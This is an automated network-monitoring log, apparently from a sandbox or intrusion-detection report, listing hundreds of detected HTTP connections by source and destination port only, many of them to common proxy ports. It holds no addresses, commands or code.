Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 50
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 3080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 5022
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 4228
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 2020
Source: unknown	Network traffic detected: HTTP traffic on port 4228 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 33466
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 33328
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 49524
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 49579
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 60406
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 6764
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 9741
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50463 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 41866
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 32650
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 17270
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 6467
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50480 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 15419
Source: unknown	Network traffic detected: HTTP traffic on port 50601 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 50449 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 11
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 9741 -> 50492
Source: unknown	Network traffic detected: HTTP traffic on port 6764 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49579 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 6432
Source: unknown	Network traffic detected: HTTP traffic on port 50797 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 13326
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50591
Source: unknown	Network traffic detected: HTTP traffic on port 50757 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50831 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 6467 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50752 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50815 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 50766 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 128
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 33328
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50480
Source: unknown	Network traffic detected: HTTP traffic on port 50845 -> 35860
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50720 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50869 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 23859
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50901 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 44612
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 7890
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 35982
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50863 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50821 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50947 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 56367
Source: unknown	Network traffic detected: HTTP traffic on port 128 -> 50812
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 60083
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50957 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4441
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 48425
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 54395
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 9180
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 41649
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 46015
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51020 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 7878
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51092 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51055 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51075 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 17525
Source: unknown	Network traffic detected: HTTP traffic on port 32650 -> 50382
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50995 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 7890 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 51093 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50695 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 8730
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 51114 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 36457
Source: unknown	Network traffic detected: HTTP traffic on port 51087 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 53948
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51079 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 2002
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 51153 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51177 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51143 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 54467
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 41649
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 128
Source: unknown	Network traffic detected: HTTP traffic on port 51145 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 27877
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50697 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 51293 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 51235 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 50821
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 34139
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51279 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 41920
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 19072
Source: unknown	Network traffic detected: HTTP traffic on port 50818 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 50829 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 50 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 51167 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 43840
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51079
Source: unknown	Network traffic detected: HTTP traffic on port 51344 -> 33190
Source: unknown	Network traffic detected: HTTP traffic on port 128 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 48606
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50835 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51091
Source: unknown	Network traffic detected: HTTP traffic on port 51085 -> 19404
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51273 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 32650
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 64947
Source: unknown	Network traffic detected: HTTP traffic on port 50888 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 2019
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50884 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50808
Source: unknown	Network traffic detected: HTTP traffic on port 50823 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 19072 -> 51359
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 6049
Source: unknown	Network traffic detected: HTTP traffic on port 51405 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 28106
Source: unknown	Network traffic detected: HTTP traffic on port 51111 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51449 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51439 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 34405
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51227 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50928 -> 18936
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51435 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 51487 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51485 -> 2692
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 51506 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 40186
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 51449
Source: unknown	Network traffic detected: HTTP traffic on port 51519 -> 23814
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50922 -> 1111
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 2020 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 43840 -> 51376
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 34139
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 41920
Source: unknown	Network traffic detected: HTTP traffic on port 51513 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50953 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51081 -> 60404
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 30007
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 64052
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 29603
Source: unknown	Network traffic detected: HTTP traffic on port 51560 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51489 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 15758
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51506
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51003 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 2019 -> 51326
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 50
Source: unknown	Network traffic detected: HTTP traffic on port 32650 -> 50698
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51344 -> 33190
Source: unknown	Network traffic detected: HTTP traffic on port 50759 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51233 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51569 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51531 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 6539
Source: unknown	Network traffic detected: HTTP traffic on port 51551 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51595 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51597 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 37106
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 21681
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 51572 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 42147
Source: unknown	Network traffic detected: HTTP traffic on port 51571 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 46451
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51393
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 40186 -> 51497
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 49382
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12000
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51533
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 51677 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 51645 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 58977
Source: unknown	Network traffic detected: HTTP traffic on port 51603 -> 15599
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 51538
Source: unknown	Network traffic detected: HTTP traffic on port 51519 -> 23814
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 64052
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 51526
Source: unknown	Network traffic detected: HTTP traffic on port 51643 -> 4006
Source: unknown	Network traffic detected: HTTP traffic on port 51215 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51697 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51683 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51659 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 36702
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 34409
